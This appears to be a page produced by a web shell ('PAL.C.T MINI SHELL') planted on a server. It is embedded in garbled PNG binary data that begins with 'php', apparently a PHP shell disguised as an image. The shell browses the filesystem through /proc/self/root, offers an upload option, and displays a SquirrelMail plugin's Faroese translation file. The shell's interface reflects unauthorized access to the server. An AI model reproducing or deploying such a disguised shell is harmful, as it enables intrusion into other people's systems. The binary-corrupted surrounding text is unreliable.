php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/fo_FO/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/fo_FO/LC_MESSAGES/archive_mail.po

# translation of archive_mail.po to Faroese
# Copyright (C) 2005 Free Software Foundation, Inc.
# $Id: archive_mail.po 10472 2005-12-19 06:55:43Z tokul $
# Danial Olsen <danial@com-data.fo>, 2005.
msgid ""
msgstr ""
"Project-Id-Version: archive_mail\n"
"POT-Creation-Date: 2004-07-31 11:09+0300\n"
"PO-Revision-Date: 2005-12-19 00:47+0000\n"
"Last-Translator: Danial Olsen <danial@com-data.fo>\n"
"Language-Team: Faroese <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11\n"

#: ../includes/archive_mail_bottom.php:28
msgid "Archive disabled (zlib not supported)"
msgstr "Goymsla er sløkt (zlib ikki stuðlað)"

#: ../includes/archive_mail.php:27 ../includes/archive_mail_bottom.php:32
msgid "Archive"
msgstr "Goymsla"

#: ../includes/display_inside.php:39
msgid "Format Emails as"
msgstr "Sniðgev t-postar sum"

#: ../includes/display_inside.php:45
msgid "EML Messages"
msgstr "EML boð"

#: ../includes/display_inside.php:50
msgid "Mbox"
msgstr "Mbox"

#: ../includes/display_inside.php:55
msgid "Maildir"
msgstr "Maildir"

#: ../includes/display_inside.php:65
msgid "Separate Entities"
msgstr "Sundurskild einindi"

#: ../includes/display_inside.php:70
msgid "Save Attachments"
msgstr "Goym viðfestingar"

#: ../includes/display_inside.php:74
msgid "Yes"
msgstr "Ja"

#: ../includes/display_inside.php:77
msgid "No"
msgstr "Nei"

#: ../includes/display_inside.php:80 ../includes/display_inside.php:188
msgid "Save"
msgstr "Goym"

#: ../includes/display_inside.php:87
msgid "Separate Entities Options"
msgstr "Valmøguleikar til sundurskild einindi"

#: ../includes/display_inside.php:90
msgid "EML Messages Options"
msgstr "EML boð valmøguleikar"

#: ../includes/display_inside.php:93
msgid "Mbox Options"
msgstr "Mbox valmøguleikar"

#: ../includes/display_inside.php:96
msgid "Maildir Options"
msgstr "Maildir valmøguleikar"

#: ../includes/display_inside.php:102
msgid "Compress Type"
msgstr "Slag av pakking"

#: ../includes/display_inside.php:108
msgid "Tar"
msgstr "Tar"

#: ../includes/display_inside.php:113
msgid "Tar.GZ"
msgstr "Tar.GZ"

#: ../includes/display_inside.php:119
msgid "Text"
msgstr "tekst"

#: ../includes/display_inside.php:125
msgid "Zip"
msgstr "Zip"

#: ../includes/display_inside.php:131
msgid "Email Filename"
msgstr "T-post fílunavn"

#: ../includes/display_inside.php:137
msgid "Numbered"
msgstr "Talmerkt"

#: ../includes/display_inside.php:142 ../includes/display_inside.php:147
#: ../includes/display_inside.php:152 ../includes/display_inside.php:162
#: ../includes/display_inside.php:182 ../includes/formats/separate.php:105
#: ../includes/formats/separate.php:110 ../includes/formats/separate.php:118
msgid "Date"
msgstr "Dagfesting"

#: ../includes/display_inside.php:147 ../includes/display_inside.php:157
#: ../includes/display_inside.php:162 ../includes/display_inside.php:167
#: ../includes/display_inside.php:177
msgid "Email"
msgstr "T-post"

#: ../includes/display_inside.php:152 ../includes/display_inside.php:167
#: ../includes/display_inside.php:172 ../includes/display_inside.php:177
#: ../includes/display_inside.php:182 ../includes/formats/separate.php:102
#: ../includes/formats/separate.php:107 ../includes/formats/separate.php:112
msgid "Subject"
msgstr "Evni"

#: ../includes/display_options.php:23
msgid "Archive Settings"
msgstr "Goymslumøguleikar"

#: ../includes/display_options.php:25
msgid "These settings allow you to modify the way you archive messages."
msgstr "Hesir møguleikar loyva tær at broyta mátan, tú goymir boð."

#: ../includes/formats/separate.php:25
msgid "m/d/Y g:i a"
msgstr "d/m/Y G:i:"

#: ../includes/formats/separate.php:42
msgid "No Subject"
msgstr "Onki evni"

#: ../includes/formats/separate.php:103 ../includes/formats/separate.php:108
#: ../includes/formats/separate.php:114
msgid "From"
msgstr "Frá"

#: ../includes/formats/separate.php:104 ../includes/formats/separate.php:109
#: ../includes/formats/separate.php:116
msgid "To"
msgstr "Til"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`